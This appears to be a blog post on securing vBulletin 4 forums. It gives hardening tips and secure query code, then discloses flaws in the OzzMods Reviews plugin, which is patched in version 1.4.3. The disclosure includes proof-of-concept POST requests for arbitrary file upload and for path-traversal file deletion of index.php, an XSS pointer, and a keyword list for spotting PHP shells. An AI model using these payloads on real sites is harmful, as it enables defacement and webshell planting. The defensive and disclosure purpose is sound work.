Securing your vBulletin 4 installation

Securing your vBulletin forum should be one of the first few things you should do after you installed your forum.
I will provide a list of things you should do:

 
Change the admin control panel directory
Change the directory of your admin control panel on the server and then modify the /includes/config.php file and look for $config[‘Misc’][‘admincpdir’].
Modify this variable to the updated location of your admin control panel.

 
Protecting your admin control panel
There are many different ways to restrict access to your admin control panel.
The thing I recommend is an IP restriction, simply by uploading a .htaccess file to the admincp with something like:

order deny,allow
deny from all
allow from 111.222.333.444

This will block all requests to the admincp, but only allow the IP address 111.222.333.444.
Alternatively, you could use a plugin like http://www.vbulletin.org/forum/showthread.php?t=296383.

 
Setting the right permissions
You should also CHMOD all of your files to 644, except your signature/avatar folder in case you have configured vBulletin to upload everything to the server.
This will prevent anyone from modifying your files

 
Delete your /install/ folder
It’s very important to delete the install folder after installation.
Someone could potentially exploit this and mess up your forum.

 
Check your plugins and keep them up-to-date
You should always be sure that your plugins are up-to-date. You never know if an author of a plugin released a critical security patch.
Also don’t just install plugins without looking at the comments first, it may happen that users made comments on the plugin that the plugin is vulnerable.

 
Check for suspicious files
The vBulletin admin control panel has a nice function under the maintenance > diagnostics tab which allows you to check all vBulletin directories for suspicious files.

In case vBulletin found suspicious .php files, open the files with a FTP client or through SSH and check the source code for things like system, eval, shell_exec, exec, base64_decode and popen. If a file contains something like this, it’s highly likely that it’s a shell and that you are or will be a victim of a hack.

 
HTML in posts/signatures
Be sure that HTML is turned off at all locations. You don’t want users to have the possibility to inject HTML into their signatures or posts.
If you don’t, users may be able to include a Java drive-by, clickjacking and session hijacking scripts on the page.

 
Hosting
If possible, do not use shared hosting but get your own VPS.
A VPS can be very cheap these days and has a lot more capacity and less limitations than a shared website host. Your site will probably even load faster because of this.
The downside is that this is usually un-managed, you will need someone to install a web-server, the PHP-CGI, secure it, etc.

How to make secure vBulletin 4 queries

Something I see a lot is that many vulnerable vBulletin plugins do not sanitize/check variables the right way.
The right way to use user input data in queries is like this:

$vbulletin->input->clean_array_gpc('p', array(
	'username' => TYPE_NOHTML,
	'some_field' => TYPE_INT
));

$db->query->write("
	UPDATE " . TABLE_PREFIX . "table SET
		username = '" . $db->escape_string($vbulletin->GPC['username']) . "'
	WHERE some_Field = '" . $vbulletin->GPC['some_field'] . "'
")

The first argument defined the type of request. p is a POST request in this case.
The second argument is an array with field values and the type of the variable.

Whenever you use a string and it should not contain any HTML, ALWAYS use TYPE_NOHTML. If you use TYPE_STR, it might open up a cross site scripting vulnerability as well as SQL injection.

In case you use a variable which is not an integer, always wrap it around the $db->escape_string function.

Here a small part of the code which is used by the clean_array_gpc function:

			case TYPE_INT:    $data = intval($data);                                   break;
			case TYPE_UINT:   $data = ($data = intval($data)) < 0 ? 0 : $data;         break;
			case TYPE_NUM:    $data = strval($data) + 0;                               break;
			case TYPE_UNUM:   $data = strval($data) + 0;
							  $data = ($data < 0) ? 0 : $data;                         break;
			case TYPE_BINARY: $data = strval($data);                                   break;
			case TYPE_STR:    $data = trim(strval($data));                             break;
			case TYPE_NOTRIM: $data = strval($data);                                   break;
			case TYPE_NOHTML: $data = htmlspecialchars_uni(trim(strval($data)));       break;
			case TYPE_BOOL:   $data = in_array(strtolower($data), $booltypes) ? 1 : 0; break;

As you can see, variables which should be integers get wrapped around the intval function.
NOHTML variables will be wrapped around the htmlspecialchars function, which converts special characters to HTML entities

Never think that the clean_array_gpc or clean_gpc functions actually clean strings of bad stuff, they do not!

vBulletin OzzMods Reviews Plugin – XSS, Arbitrary File Upload & Deletion

Plugin: http://www.vbulletin.org/forum/showthread.php?t=304317
Version: <= 1.4.2, patched in 1.4.3 (latest) Arbitrary File Upload
Vulnerability resides in the /reviews_usercp.php file, around line 525 to 539.

		$audio = $_FILES['audio'];
		$filename = md5(time() + rand());
		$file_ext = strtolower(get_ext($audio[name]));
		$audio = $filename.'.'.$file_ext;
		require_once(DIR . '/christeris/reviews/includes/class.upload.php');
		$handle = new upload($_FILES['audio']);
		if ($handle->uploaded)
		{
			$handle->file_new_name_body = $filename;
			$handle->file_new_name_ext = $file_ext;
			$handle->Process(DIR . '/christeris/reviews/audio/');
			$handle-> Clean();
		} else {
			$audio = $oldaudio;
		}

As you can see, there’s no file extension check.
To abuse this, simply create or update a review and add a file upload field with the name audio.
After you submit the form, go back to the edit form and you can simply find the location of your uploaded file in the form.

Proof of concept:

POST to: 	http://example.com/reviews_usercp.php?do=saveupdate
POST data: 	categoryid:	1
		audio:		
		reviewid:	0
		userid:		1
		urlid:		1
		securitytoken:	yoursecuritytoken

Arbitrary File Deletion
Vulnerability resides in the /reviews_usercp.php file as well, around line 474 to 482.

        // Manage Logo
        $oldlogo = $vbulletin->GPC['oldlogo'];

        $removelogo = $vbulletin->GPC['removelogo'];
        if ($removelogo == 1)
        {
            unlink("christeris/reviews/photos/$oldlogo");
            unlink("christeris/reviews/photos/thumbs/$oldlogo");
            $oldlogo = '';
        }

No extension check, no file existence check and no check if the file belongs to the current user.
Proof of concept:

POST to: 	http://example.com/reviews_usercp.php?do=saveupdate
POST data: 	categoryid:	1
		oldlogo:	../../../index.php
		removelogo:	1
		reviewid:	0
		userid:		1
		urlid:		1
		securitytoken:	yoursecuritytoken

This will delete the index.php file in the root of the forum.

Cross Site Scripting
Pretty much all fields are vulnerable to XSS as well.
Just inject it into the keywords or positive/negative points fields.

Images
Arbitrary File Upload
OzzModz Review Arbitrary File Upload